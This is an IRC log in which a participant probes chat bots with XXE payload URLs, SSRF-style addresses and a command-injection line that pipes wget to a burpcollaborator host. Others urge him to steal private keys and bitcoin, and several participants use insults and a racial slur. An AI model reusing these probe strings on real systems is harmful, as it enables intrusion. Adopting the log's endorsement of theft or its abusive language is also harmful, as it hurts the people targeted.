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2018-3-22 | 2018-3-24

asciilifeform: meanwhile, in not-wholly-ridiculous academics , http://babble-rnn.consected.com/docs/babble-rnn-generating-speech-from-speech-post.html
asciilifeform: ^ 'analogue' shannonizers
asciilifeform: http://babble-rnn.consected.com/docs/current-audio.html << for the impatient.
mod6: wb! you don't sleep much huh
mircea_popescu: i guess not huh!
mod6: :]
ben_vulpes: credit where credit is due, douchebag went from http://btcbase.org/log/2018-01-26#1777226 to http://btcbase.org/log/2018-03-22#1788527 (albeit a stealth admission of personal shortcomings) but contextual lulz of the week go to http://btcbase.org/log/2018-03-22#1788529
a111: Logged on 2018-01-26 19:46 douchebag: Well, I'm just trying to figure out where my skillset could be best put to use, I would be more than capable of writing a V implementation or setting up an IRC bot. I'm trying to leave it to you guys to tell me where my skillset could best be put to use
a111: Logged on 2018-03-22 11:14 douchebag: I don't understand what a V is I have read about it, I have looked at examples and I still don't understand
a111: Logged on 2018-03-22 11:15 douchebag: If I understood it completely it would be no problem coding it.
ben_vulpes: oh and other obvious pentesting targets douchebag: qrrqobg jnyyrg (rot13)
ben_vulpes: !!reputation douchebag
deedbot: http://p.bvulpes.com/pastes/RwZvf/?raw=true
ben_vulpes: guten tag, trinque !
trinque: hola ben_vulpes!
trinque: yeah sure poke her holes
ben_vulpes: douchebag: you can voice yourself you know
trinque: I seem to recall this kid being told to do things, came back with his snowflake personality and american dream.
ben_vulpes: i'm a softie what can i say
ben_vulpes: mighta been asking an infantryman to fly a helicopter, who knows
trinque: if he could discover where the wallet actually lives, I'd be mighty impressed.
ben_vulpes: douchebag: don't tell me you lost your key
ben_vulpes: it's !!v douchebag
ben_vulpes: http://deedbot.org/help.html
douchebag: There we go
douchebag: Okay so question about these bots
douchebag: !!deed http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml
deedbot: Bad URL or network outage.
douchebag: !!subscribe http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml
deedbot: douchebag subscription to http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml failed
ben_vulpes: many of these work in pm douchebag
douchebag: Okay, do you want me to do a white box or black box audit?
trinque: o,0
ben_vulpes: i don't much give a shit, take some initiative and do something?
trinque: something other than the xss snore.
trinque: I don't much give a fuck if someone puts a script tag in a deed.
trinque: they're going to what, steal your session on a static site?
douchebag: Okay, I would be most useful if I could view the source of deedbot
ben_vulpes: but trinque what if someone visits a deedbot page and their browser executes it!?!?!
douchebag: What the fuck is your guys deal?
douchebag: How am I supposed to know the site was static?
ben_vulpes: aaahaha
ben_vulpes: WHANGGGGGGGGGG
douchebag: Grow the fuck up
trinque: douchebag: this is not where you parade your idiocy dubbed personality and aspirations and have them validated
ben_vulpes: https://thumbs.gfycat.com/DevotedSeriousButterfly-size_restricted.gif
trinque: this is where you submit and grow, or learn you're not worth it.
douchebag: Regardless of whether or not the javascript could do anything, it still allows HTML injection which can be used to publish fake content.
ben_vulpes: is this like fake news?
trinque: the content was signed, what fake
douchebag: Which can be used for social engineering
trinque: fuck, next we'll be stealing elections
ben_vulpes: trinque: i want northern california
trinque: long as you clear it first, I'll come visit
ben_vulpes: i'm going to need three rail cars of sugar and a fuckton of smallish pvc tubes
douchebag: I'm not here to argue with you children about whether or not you would have fallen for the attack. I provided a valid proof of concept like any professional would do.
ben_vulpes: funny how the twenty year old is fixated on growing up
trinque: starving for it, naturally
ben_vulpes: douchebag: but it doesn't have the ssl lock
ben_vulpes: consumers know not to trust websites without the magic green thingy
ben_vulpes: or do i not understand how fake content works, because actually i'm certain that i don't understand what this gpg-signed fake content is.
douchebag: Listen, I understand that you're all upset that I made you look like an idiot for not sanitizing all user input. These are habits that are picked up after you learn about programming a secure web application.
ben_vulpes: ho ho ho
asciilifeform: douchebag: go ahead and 'socially engineer' people who actually verify the pgp sigs on errything they touch. i'll interestedly watch.
douchebag: asciilifeform: I'm not here to argue or to social engineer you. I provided a VALID proof of concept. Stop bitching about it and fix it.
asciilifeform: first you gotta break it
asciilifeform: before anyone gives a damn re 'fix'
trinque: douchebag: the web as it is ought to burn; the notion that there are any professionals tending the shit adobe is hysterical.
douchebag: adobe?
ben_vulpes: douchebag: what is the concept again that you have proven? i am still waiting for the explanation of what precisely this social engineering attack does.
ben_vulpes: i'm clearly just an amateur, but an advanced security consultant like yourself should have no troubles explaining it to a civvy
asciilifeform: for that matter, why does douchebag settle for small change of www ? a remote ex for trb or even prb will easily bring in enuff loot to buy a battleship. without having to convince anybody, i'll note, of anything.
asciilifeform: to the victor -- the spoils. take'em privkeys.
douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done?
ben_vulpes: douchebag: gonna explain, per request, or continue faffing
ben_vulpes: threat model etc, like a Real Professional?
trinque: dispense the food pellet already ben_vulpes. dude said smartwords.
douchebag: I have the feeling that even if I got remote code execution
ben_vulpes: what, we'd argue with your sending btc to yourself?
douchebag: you guys would just be like "Oh well you told us about the RCE and we fixed it before you could do anything with it"
asciilifeform: ben_vulpes: there's quite likely enuff coin just in trb hotwallets, to buy a flotilla. and if you can get to it, it's as yours as your own nose, nobody could do a thing about it. so wtf are you doing fucking with php.
trinque: http://btcbase.org/log/2017-08-31#1707554
a111: Logged on 2017-08-31 19:11 mircea_popescu: can't say i've encountered that many ; and can say that from actual lived experience, the "thinks he's jeddi" heuristic is a fine indicator for "head so far up ass the net result of sufficient whipping will be soap", ie http://trilema.com/2015/the-anal-child/
ben_vulpes: douchebag: you just don't read do you http://logs.bvulpes.com/trilema?d=2018-3-22#317661
mimisbrunnr: Logged on 2018-03-22 19:33 ben_vulpes: oh and twist, douchebag skip the responsible disclosure fingertrap and fuck 'em hard.
asciilifeform: err, douchebag
douchebag: I read that, but I didn't think you were referring to yourselves
douchebag: So if I can pop any of your boxes and steal bitcoin - that's fair game?
asciilifeform: yes!
ben_vulpes: unlike the rest of the world i hold myself to the standard i hold it to
ben_vulpes: fucking duh?
douchebag: In that case, I'll get right to work
douchebag: is deedbot open source?
ben_vulpes: if trinque likes you
trinque: I don't like you.
asciilifeform: lol
ben_vulpes: ahaha
douchebag: Alright, I don't need the source code to pwn your shit
trinque: (lets see if he can find the food pellets himself!)
ben_vulpes: douchebag: how long do you figure this'll take?
douchebag: It will take as much time as it takes me
asciilifeform: such dedication...
mircea_popescu: http://btcbase.org/log/2018-03-23#1789006 << i r entertaint.
a111: Logged on 2018-03-23 04:08 douchebag: Which can be used for social engineering
douchebag: !!deed http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml
deedbot: Bad URL or network outage.
mircea_popescu: this is pretty lulzy.
mircea_popescu: http://btcbase.org/log/2018-03-23#1789020 << different paradigm, yo. it may be valid over there, but it's not valid over here. because reasons.
a111: Logged on 2018-03-23 04:12 douchebag: asciilifeform: I'm not here to argue or to social engineer you. I provided a VALID proof of concept. Stop bitching about it and fix it.
douchebag: mircea_popescu: I have an honest question for you
asciilifeform: bbut does it still privilege the speed of light!1!
mircea_popescu: shoot.
douchebag: You're into BDSM and having slaves and such right? Is that what the dudes you got in here are fof?
douchebag: for*
mircea_popescu: no, i don't swing that way. the girls occasionally swoop in, but not commonly.
ben_vulpes: oh for the motherloving fuck hole of sin trb won't sendmany with two outputs to the same address
mircea_popescu: ben_vulpes it can't.
mircea_popescu: look into the datastruct, there's black magick reasons.
ben_vulpes thinks
ben_vulpes: i'll take a clue if you have one handy
mircea_popescu: http://btcbase.org/log/2018-03-23#1789025 << incidentally this is very tragically broken. what next, you're going to hold me to show mechanism of action of all poisons too ?
a111: Logged on 2018-03-23 04:13 ben_vulpes: douchebag: what is the concept again that you have proven? i am still waiting for the explanation of what precisely this social engineering attack does.
mircea_popescu: we don't even fucking know how paracetamol works ffs.
trinque: douchebag: so why would the deed command parse xml, let alone go look up a dtd?
ben_vulpes: mircea_popescu: i'd have settled for a plausible story of social engineering
mircea_popescu: douchebag it will reject unsigned material, look at what deeds it accepted in the past.
ben_vulpes: or read the fucking help page omfg
trinque: hey, he called us fags. can't be that pantsuited.
trinque: curious creature
ben_vulpes: oh yeah im supposed to be upset at the bigotry
ben_vulpes: douchebag: stop being a bigot
mircea_popescu: im starting to understand that "the opposite of talking is not listening, the opposite of talking is waiting for your turn" quip may have been adequate in the early postmodern stage ; but by now it's truly a case of "work efficiency is most work with least read." chucka wins in the end.
ben_vulpes: it's childish
ben_vulpes: amazingly, rtfm only shows up in logs 41 times
mircea_popescu: http://btcbase.org/log/2018-03-23#1789029 << acrually, yes.
a111: Logged on 2018-03-23 04:14 douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done?
douchebag: https://i.imgur.com/2Tn47SJ.png
douchebag: This is just uncalled for
ben_vulpes: so is the kink shaming!
douchebag: How am I kink shaming
mircea_popescu: http://btcbase.org/log/2018-03-23#1789035 << in trb you mean ? not likely.
a111: Logged on 2018-03-23 04:17 douchebag: you guys would just be like "Oh well you told us about the RCE and we fixed it before you could do anything with it"
douchebag: I just asked a question
douchebag: I think you're projecting
ben_vulpes: kidding, but an understandable confusion
trinque: anyone that wants to pwn deedbot might consider that it's a wrapper around gpg.
ben_vulpes: asciilifeform: do you know anything about this data struct / can't have 2 outputs pointing to the same addr in a transaction mircea_popescu mentioned?
trinque: and given that we're all still relying on it, exploits found and squashed in gpg would be lauded.
mircea_popescu: douchebag there's a lengthy history of people's contributions respek, but they have to be contributory.
douchebag: mircea_popescu: I was just shitposting sir, no need to explain
douchebag: !!deed http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml
deedbot: accepted: 1
mircea_popescu: !#s etherape
a111: 17 results for "etherape", http://btcbase.org/log-search?q=etherape
mircea_popescu: about as fair game as it gets ; part and parcel of history by now.
trinque: douchebag: why are you still trying the dtd thing?
douchebag: !!subscribe http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml
deedbot: douchebag subscription to http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml failed
douchebag: trinque: Because I haven't seen the source code so I don't know if dtd was disabled
mircea_popescu: http://trilema.com/2016/to-the-dao-and-the-ethereum-community-fuck-you/ < item
mircea_popescu: douchebag you realise it rejects unsigned input, do you ?
mircea_popescu: !#s from:deedbot accepted
a111: 382 results for "from:deedbot accepted", http://btcbase.org/log-search?q=from%3Adeedbot%20accepted
mircea_popescu: wait, it doesn't reject unsigned material ?!
douchebag: mircea_popescu: You realize I signed it
trinque: what, of course it does.
mircea_popescu: ah ok.
trinque: he's seeing if the XML parser somewhere pulls external schema files
trinque: douchebag: so perhaps the feeds parser thing does, even. I have no idea. What happens next?
douchebag: At best, local file disclosure. At worst, remote code execution
mircea_popescu: trinque he's not even wrong : someone clicks on the link with a shit browser, gets owned by that shit browser.
ben_vulpes: !!rate douchebag 1 found a couple of unsanitized fields
deedbot: Get your OTP: http://p.bvulpes.com/pastes/JtMC6/?raw=true
mircea_popescu: !!rated douchebag
deedbot: mircea_popescu rated douchebag 1 at 2018/01/15 07:34:46 << hyde.solutions
trinque: this was always the risk with browsers, all of which are shit
douchebag: trinque: Noooo
ben_vulpes: !!v 5ED3EC02EC8E0E2CD0B44A6AB9D3AE484D24C2FEA7F2F0A5929655D4D385E33F
deedbot: ben_vulpes rated douchebag 1 << found a couple of unsanitized fields
mircea_popescu: note that eg trilema (mp-wp, w/e) takes steps to mitigate this. by for instance not permitting html entities in user contributed fields, see ?
douchebag: The XML shit I am doing has nothing to do with the web browser
douchebag: it has to do with the XML parser on the server side
mircea_popescu: douchebag i was extending the discussion.
trinque is aware of both of these types of problems
trinque: but then what, now you're on the deedbot server and ?
mircea_popescu: what, making deedbot go "trinque sniffs dirty undies" isn't bereft of lulz value.
douchebag: I would then look around and determine how it could be best leveraged
trinque: mind giving me a sentence that isn't so widely applicable?
mircea_popescu: anyway, what we have here is a tacit miss-standard, and the discussion is probably of most interest to people who aim to make their own blog thing, phf spyked whoever was looking at lisping it. because on one hand there's the older trilema standard that's web compatible, and on the other hand there's the emerging no shits given approach like on the deedbot site say, "what am i going to do now, alter deeds to mitigate sht brow
mircea_popescu: sers ???".
mircea_popescu: this is a source of constant surprise, consider all the time phf sunk into chasing unicode obscura on his logger.
douchebag: trinque: I would reprogram deedbot to become self aware and take over the world
trinque declared the line of nomoars pretty far out on this one, aha.
trinque: douchebag: lol
trinque: at any rate I'm not questioning you to make you not diddle the XML holes. in your log reading you might've heard me refer to servers as outdoor toilets.
mircea_popescu: we'll have to come to a unified set of something here in any case. as it stands right now it's not obvious whether one can or can't point shitfox at random republican website ; nor where to look to find out.
trinque can trivially make the thing serve up text/plain right now
trinque: but the gentleman's browser on the other side is still the mess it was
mircea_popescu: possibly that's the correct cut of this knot, "if you're not sanitizing force pages be text/plain"
mircea_popescu: trinque yes, but we don't care about that. we just care about our not being dumb.
mircea_popescu: consider something simple : i took pride publicly on how trilema doesn't load google analytics, thereby giving away the usual set of telemetrics to the usg. fine and good. but your site can be coaxed to load ???.burpcollaborator.net by 3rd party ? so every time a "normal" browser goes by it looks up wtf that doctype is and so on ?
trinque: this line of reasoning leads to me going and getting an SSL cert
trinque: because mitm can do the same thing to you
mircea_popescu: hence my comment above,. " we'll have to come to a unified set of something here". just because the line isn't drawn.
trinque: on my end, JS is off and otherwise whitelisted where used.
mircea_popescu: no js required for this.
trinque: thing blocks all external items by origin
mircea_popescu: "modern" or however we shall call the shit browser errs on the side of loading everything it can
mircea_popescu: because it was made by and for idiots from back in the day the web was ~equal to ye olde finger utility.
mircea_popescu: in the end the deep root of http://btcbase.org/log/2018-03-22#1788727 is that all the inept dances html does to permit in-band signalling, so you never know if it's < or &lt; or what, is fundamentally a bad idea.
a111: Logged on 2018-03-22 17:06 douchebag: Wouldn't it make sense to make sure you're doing something the right way before you go ahead and do it?
mircea_popescu: in the end there's two broken points of old html, not merely the whole "statefulness on stateless protocol" cookies bs ; but also the "will mix code in the data nyah nyah nyah".
mircea_popescu: amusingly enough, the WHOLE UTILITY, and in any case the absolutely only reasons people use, like and like to use the web is specifically because of those two things. which makes naggum's perl rant misplaced : perl exhibits the characteristics he bemoans incidentally ; html is fundamentally build out of them and would not interest any of the webtards if it weren't, because it interests ~for them~ specifically.
mircea_popescu: wut do.
mircea_popescu finally understood why the web even took off in the first place, instead of the much saner alternatives at the time available.
trinque: the problem I was driving at was the sign of bad upbringing where I sit here and tell him where the vulns *certainly* are
trinque: entirely separate from "hey trinque can you do something practical while we yet rely on shittech"
trinque: of course, that.
mircea_popescu: myeah
trinque: source code for the item is in the logs, db it uses, blah, blah, blah.
asciilifeform: http://btcbase.org/log/2018-03-23#1789102 << a shitoshiism: >> http://btc.yt/lxr/satoshi/source/src/bitcoinrpc.cpp?v=asciilifeform_add_verifyall_option#0888
a111: Logged on 2018-03-23 04:37 ben_vulpes: asciilifeform: do you know anything about this data struct / can't have 2 outputs pointing to the same addr in a transaction mircea_popescu mentioned?
mircea_popescu: yes but you can't simply take that out.
mircea_popescu: ends up with cycle further down the line when unpacking a tx
asciilifeform: right, because he used unordered sets
asciilifeform: http://btcbase.org/log/2018-03-23#1789151 << 'sanitization' in the sense of attempting to rescue every possible broken inbandparser is a catastrophically wrong thing.
a111: Logged on 2018-03-23 04:52 mircea_popescu: we'll have to come to a unified set of something here in any case. as it stands right now it's not obvious whether one can or can't point shitfox at random republican website ; nor where to look to find out.
asciilifeform: there exists for instance the ipnoje, which famously chokes on some particular hindu glyph.
asciilifeform: so, what nao, onus on unicodists to avoid emitting it??
asciilifeform: or why not instead crapple fixes the box. or dies.
asciilifeform: relatedly, recall http://btcbase.org/log/2016-08-01#1512393 incident
a111: Logged on 2016-08-01 19:51 phf: oh that's beautiful
trinque: oh lol, I'm already serving them up as txt.
asciilifeform: and lemme guess, there is a browser that still parses htmlolade in these ??
trinque: nah, guess I assumed in charity that herr douchebag looked at the thing's output before.
ben_vulpes: asciilifeform: well yes i did find the error message but i am still banging my head on the why of it
ben_vulpes: oh oh
ben_vulpes: i'll look into this unordered sets thing later
mircea_popescu: asciilifeform old firefox certainly does.
asciilifeform: nuts.
trinque: nah, not on something served up as content-type text
mircea_popescu: once the deed is up browsershots.org it lessee
mircea_popescu: http://btcbase.org/log/2016-08-01#1512409 <<
a111: Logged on 2016-08-01 19:58 mircea_popescu: for... firefox 3 ?!
trinque: http://deedbot.org/bundle-365167.txt << here's one.
asciilifeform: ^ no inbandbarf on any of the browsers i have in arm's reach
asciilifeform: incl crapple
trinque: would be pretty shocking if the web server's defaults didn't serve up txt properly.
trinque: http://browsershots.org/http://deedbot.org/bundle-365167.txt
trinque: neat service.
deedbot: http://deedbot.org/bundle-514765.txt
asciilifeform: in re inbanditry -- recall misfortunate boy without t-cells; ~he~ went in a plastic bubble, observe. him, rather than every possible other people who might sneeze on him.
trinque: douchebag: ^ if you want honest work, I will pay you for a demonstration that you can discover the balance of an arbitrary deedbot wallet user, on the condition that if in one month you can't, you drop this web security herp and take a task from me and complete it.
trinque: bounty is 0.1 bitcoin.
douchebag: one moment
trinque to bed. let me know in writing, in a deed.
asciilifeform bbl 
douchebag: I'll do it
douchebag: !!deed http://w74db17v5sr0atyxkw675l0ex53zro.burpcollaborator.net
deedbot: Bad URL or network outage.
ben_vulpes: mircea_popescu: going to nail down pricing for shells on this machine and then we can provision them, i expect that we can get hanbot a shell tomorrow
ben_vulpes: douchebag: what did you try to deed there?
douchebag: testing purposes
douchebag: !!deed http://0:22/
deedbot: Bad URL or network outage.
douchebag: !!subscribe http://0:22/
deedbot: douchebag subscription to http://0:22/ failed
douchebag: !!deed http://1260283176:4444#@www.google.com/
deedbot: Bad URL or network outage.
douchebag: !!deed http://gtdmsv5woc419x5o8m4wzq0krbx5lu.burpcollaborator.net
deedbot: Bad URL or network outage.
douchebag: !~help
jhvh1: douchebag: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin. You may also want to use the 'list' command to list all available plugins and commands.
douchebag: !~list
jhvh1: douchebag: Admin, Alias, AutoMode, Bible, BitcoinData, Channel, Config, DuckDuckGo, GPG, GPGExt, GeoIP, Google, HtmlLogger, IPTools, Isup, Later, Listener, Market, MarketMonitor, MarketMonitorTicker, Misc, NickAuth, Owner, RSS, Seen, Sudo, Unix, UrbanDictionary, User, Utilities, and Whois
douchebag: !~HtmmlLogger
jhvh1: douchebag: Error: "HtmmlLogger" is not a valid command.
douchebag: !~help HtmlLogger
jhvh1: douchebag: Error: There is no command "htmllogger". However, "Htmllogger" is the name of a loaded plugin, and you may be able to find its provided commands using 'list Htmllogger'.
douchebag: !~list HtmlLogger
jhvh1: douchebag: flushlog
douchebag: !~list RSS
jhvh1: douchebag: add, announce add, announce list, announce remove, info, remove, and rss
douchebag: !~list RSS add
jhvh1: douchebag: (list [--private] [--unloaded] [<plugin>]) -- Lists the commands available in the given plugin. If no plugin is given, lists the public plugins available. If --private is given, lists the private plugins. If --unloaded is given, it will list available plugins that are not loaded.
douchebag: !~list Unix
jhvh1: douchebag: call, crypt, errno, fortune, pid, ping, ping6, progstats, shell, spell, sysuname, sysuptime, and wtf
douchebag: !~ping gtdmsv5woc419x5o8m4wzq0krbx5lu.burpcollaborator.net
jhvh1: pong
douchebag: !~ping
jhvh1: pong
douchebag: !~unix ping
jhvh1: douchebag: (unix ping [--c <count>] [--i <interval>] [--t <ttl>] [--W <timeout>] <host or ip>) -- Sends an ICMP echo request to the specified host. The arguments correspond with those listed in ping(8). --c is limited to 10 packets or less (default is 5). --i is limited to 5 or less. --W is limited to 10 or less.
douchebag: !~unix ping uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net|wget${IFS}http://uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net
jhvh1: douchebag: Error: Invalid hostname
douchebag: !~unix ping uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net
jhvh1: douchebag: ec2-52-16-21-24.eu-west-1.compute.amazonaws.com (52.16.21.24): 5 packets transmitted, 5 received, 0% packet loss, time 4005ms rtt min/avg/max/mdev = 80.606/80.640/80.688/0.256 ms
lobbes amused that all these payload urls are ultimately being forwarded to archive.is o.0.
lobbes: Btw jhvh1 isn't related to deedbot (and, as far as I know, is not on a box with any coin contained within)
lobbes: Check out the logs for 'bot directory'; I think pete_dushenski's page is probably still up
trinque: he's just got such a short attention span he's already given up on deedbot
BingoBoingo: !~later tell jurov http://p.bvulpes.com/pastes/JYKQV/?raw=true
jhvh1: BingoBoingo: The operation succeeded.
trinque: douchebag: also talk to the damned bots in PM
lobbes: Haha, yeah seriously
douchebag: okay trinque
danielpbarron: !!rate douchebag 1 l0de fan
deedbot: Get your OTP: http://p.bvulpes.com/pastes/fKAT2/?raw=true
douchebag: is !~unix ping 127.0.0.1 the correct syntax?
trinque: douchebag: why are you diddling shinohai's bot instead of mine?
douchebag: Pretty sure I could easily exploit it
trinque: mk. understand I'll negrate you if you go back on our wager.
douchebag: Still doing some thinking of what the best course of action to pwn deedbot will be
douchebag: Yeah no that's fine
trinque: alright then
douchebag: trinque: Could I view deedbots source by any chance?
douchebag: If you want it to be audited a bit more comprehensively
trinque: sources can be found in the logs; search 'em.
douchebag: Well I found both a php version
douchebag: https://github.com/extempore/deedbundler
douchebag: https://github.com/RagnarDanneskjold/deedBot
BingoBoingo: douchebag: The second link is an older incarnation that was implemented by another party
trinque encourages the Lords to let the kid grow an attention span and find the links himself.
douchebag: I found the links myself
douchebag: You guys sure do make a lot of assumptions
deedbot: http://qntra.net/2018/03/moves-in-trump-administration-signal-the-remains-of-the-us-moving-into-a-more-aggressive-posture/ << Qntra - Moves In Trump Administration Signal The Remains Of The US Moving Into A More Aggressive Posture
ben_vulpes: trinque: did he ever actually deed the agreement?
trinque: no, he doesn't do anything. "fuck you mom!"
douchebag: Why can't trinque deed it
douchebag: You're the one offering the $
ben_vulpes: dude because those were the terms
ben_vulpes: if you had issue with them you shoulda brought it up then instead of just not doing anything
douchebag: ben_vulpes: Usually I would figure if someone is offering money, they should be the one creating the contract or whatever
douchebag: but sure I guess
douchebag: So one month from today
douchebag: It was after midnight when you made that agreement for me yesterday
ben_vulpes: douchebag: your usuallies aren't going to serve you well here, whoever makes the rules makes the rules
douchebag: not sure if there's a timezone difference
douchebag: ben_vulpes: fuck you, I'm doing it
mod6: omfg
ben_vulpes: awww
mod6: stop spamming here douchebag, if you want to test, fine. do it in pm.
douchebag: You guys act so fucking weird
mod6: Do I want to read all of your testing bullshit?
mod6: No. I don't.
douchebag: mod6: I'm not talking about you jerkoff
douchebag: Some of these things don't work in PM FYI
mod6: !!down douchebag
mod6: I'm tired of this person.
mod6: Get rid of him.
ben_vulpes: douchebag: there's a thing called "signal to noise ratio", do try not to hurt it. if you must test in public probably announce and apologize for the interruption
danielpbarron: ya imma have to switch him to a -1, he's been just as annoying in the lrh chat
ben_vulpes: this is the sort of place where mircea_popescu kickbans people who join/part too much
mod6: This guy sends me a "Fuck you" in PM.
mod6: And he wants to somehow be involved with our republic.
mod6: This is not how it works.
ben_vulpes: mod6: he's trying to ape the forms without understanding their logic
mod6: I demand public apologies for calling us all "jerkoffs" "faggots" etc.
mod6: Or out come the neg ratings.
douchebag: Listen
mod6: no y
mod6: u
douchebag: I'm not going to sit around and just get insulted
douchebag: and not say anything back. I'm not anyones bitch
mod6: When did I insult? Link to log plz.
douchebag: trinque told me I can test his bot. Some of the features don't work in PM
mod6: WHEN DID I INSULT?
douchebag: "Do I want to read all of your testing bullsit?"
mod6: TEST HIS BOT SOMEWHERE ELSE.
douchebag: I can
douchebag: t
douchebag: I just explained why
mod6: Lords and Ladies of the Republic: I do not believe this chamber should be subjected to this abuse. I appeal to you.
douchebag: What abuse?
mod6: The abuse of spam.
douchebag: Fine I wont
douchebag: calm down
mod6: I should not be subjected to have to read this.
asciilifeform: mod6: the trapdoor lever's right there
mod6: I will not calm down, you are wasting my, and everyone who reads this channel's time.
mod6: If trinque wants you to test, he can set up another venue for this.
douchebag: mod6: trinque told me I can test his bot, so that is what I was doing
douchebag: I wont test it here anymore
ben_vulpes: mod6: negrate him and be done with it
danielpbarron: douchebag, part of the security of the bots in this channel is that they only work in this channel which is moderated quite well
ben_vulpes: douchebag: you then moved on to testing other bots; do those commands also not work in pm?
asciilifeform: !!rate douchebag -1 loud and apparently ineducable kid; invited to either come back with promised wunderwaffen or stfu
deedbot: Get your OTP: http://p.bvulpes.com/pastes/SuhIs/?raw=true
douchebag: Listen I am not going to test the bots in here anymore
douchebag: If I do it again, do whatever the hell it is you want to do
asciilifeform: !!v 3E65BD461F247BA966C32C13ABBE84F3CDC331544D9499D003A8FCA745640201
deedbot: asciilifeform rated douchebag -1 << loud and apparently ineducable kid; invited to either come back with promised wunderwaffen or stfu
douchebag: I don't see why every single thing that happens in this channel has to turn into some big ordeal
mod6: You are wasting innocent peoples time with your farting, we have more important business to attend to.
danielpbarron: because it is publically logged and more people read it than what you see here
ben_vulpes: douchebag: it's only an ordeal because you dig your heels in when told what to do.
asciilifeform: hey trinque is the bozo ejector wedged or wat
trinque: what bozo ejector?
asciilifeform: the if(sum(rate) <= 0) down(d00d) one
trinque: no such auto-down exists
trinque: someone can issue the command
asciilifeform: aa ty trinque
asciilifeform: !!down douchebag
mod6: wd, thank you asciilifeform
asciilifeform: i have nfi why this had to wait, lol
asciilifeform: um trinque ?
ben_vulpes: the cheek!
asciilifeform: !!gettrust douchebag
deedbot: L1: -1, L2: 3 by 3 connections.
asciilifeform: !!reputation douchebag
deedbot: http://p.bvulpes.com/pastes/pu44A/?raw=true
douchebag: stop spamming the channe;
asciilifeform: loox like he needs a control shot or 2
asciilifeform: ben_vulpes danielpbarron mircea_popescu ^
ben_vulpes: mhm
danielpbarron: ya i will do, sorry about that
ben_vulpes: !!rate douchebag -1 polished turd of stupidity
deedbot: Get your OTP: http://p.bvulpes.com/pastes/9PCH4/?raw=true
douchebag: gonna root your shit
asciilifeform: douchebag: finally. go, work
ben_vulpes: douchebag: isn't that what you promised to do already?
ben_vulpes: and what you were also told to do?
douchebag: yes
ben_vulpes: why continue with the posturing instead of doing things
douchebag: Thats why im doing it
asciilifeform: 'masochist: beat me, beat me! sadist: no!'
ben_vulpes: !!v 9857F1824DD54DAF9F74912FDBA5A634C63861F5E7F0EC7A35EE94628AB622DC
deedbot: ben_vulpes updated rating of douchebag from 1 to -1 << polished turd of stupidity
douchebag: You guys are distracting me
douchebag: im trying to work
ben_vulpes: douchebag: how you allocate your attention is your own problem
douchebag: why can't we just work on the stuff we need to work on
douchebag: instead of discussing it?
ben_vulpes: http://logs.bvulpes.com/trilema?d=2018-3-23#317862
mimisbrunnr: Logged on 2018-03-23 04:08 douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done?
douchebag: Exactly my point
ben_vulpes: having the discipline to engage with trilema appropriately is not a thing humans are born with
asciilifeform: !~seen phf
asciilifeform: !!seen phf
deedbot: 2018/03/08 17:52:20 <phf> lisp failed to even identify the need for ffi, when it was standardized i don't think there even were lisps that could or needed to ffi, since they all ran on lisp machines
asciilifeform: wakeup phf. yer bot ran away.
douchebag: danielpbarron called me the n word
asciilifeform: !!reputation douchebag
deedbot: http://p.bvulpes.com/pastes/XhTIf/?raw=true
douchebag: I don't mind, but I just wanted to make sure that was on the record
danielpbarron: he means nigger, i called him a nigger
asciilifeform: !!down douchebag
asciilifeform: oughta do the job nao.
ben_vulpes: ahahahaha
asciilifeform: and pretty good lastwords.
ben_vulpes: with the fucking tattling, epic
ben_vulpes: you know i think this is actually a devious plot to murder elements of the lordship with excessive laughter
ben_vulpes: because i'm fuckin dying over here
asciilifeform: he oughta join up with that other critter, that orbits ben_vulpes
asciilifeform: what was it, btcvixen ?
ben_vulpes: aha
asciilifeform: whatever happened to it
ben_vulpes: utterly no idea
deedbot: http://trilema.com/2018/frank-the-experimental-biologist/ << Trilema - Frank the experimental biologist
mircea_popescu: http://btcbase.org/log/2018-03-23#1789216 << cool.
mircea_popescu: http://btcbase.org/log/2018-03-23#1789245 << do all that in pm will you.
mircea_popescu: http://btcbase.org/log/2018-03-23#1789280 << that's nothing ; bot used to be called assbot.
lobbes: mircea_popescu: phf logbot appears down. You may have missed some lulzy log lines: http://logs.bvulpes.com/trilema
mircea_popescu: a ty
mircea_popescu: i was trying to figure out wtf is going on, which link in the chain is not performing.
mircea_popescu: in other news, earthquake last night unhooked this coil of rope that was resting inside an anal hook hanging from the ceiling of a corridor. plus knocked over girl's essential oils bottles, sent some coffee bags off to seek their fortune about the kitchen floor and so forth!
asciilifeform: aalmost may as well live in jp neh
mircea_popescu: it's getting pretty crazy.
asciilifeform: ( this is... 3rd ? one on mircea_popescu's watch ? this yr )
mircea_popescu: 2nd this week at any rate
mircea_popescu: prolly a dozen or so this year.
asciilifeform: quasi-relatedly, did mircea_popescu ever learn jp lang ?
asciilifeform: it is entertainingly martian
mircea_popescu: but there was a major 7.0 one a year or so back yeah
mircea_popescu: asciilifeform never did, no.
asciilifeform: i don't know of any practical reason to; but strictly for mental muscle build, it is notbad
mircea_popescu: i guess.
asciilifeform: ( disregarding, even, the hieroglyphs : picture eurolang with declensions , but instead of inflecting nouns per se, they are standalone words, 'particles' . and instead of 6 or 7, there's a coupla dozen. )
mircea_popescu: meh.
mircea_popescu: butt in other lulz, http://trilema.com/wp-content/themes/trilema/images/bg_mar2018.jpg
lobbes: In other news, my spiffy new mp-wp blog is now live: http://lobbesblog.com/blog/
lobbes: Post detailing my own compendium of notes to come prolly tonight. Aim is for it to supplement hanbot's existing compendium (e.g. will include notes on how to prime mysql and wp-config.php for mp-wp's auto table-creation process)
mircea_popescu: nice!
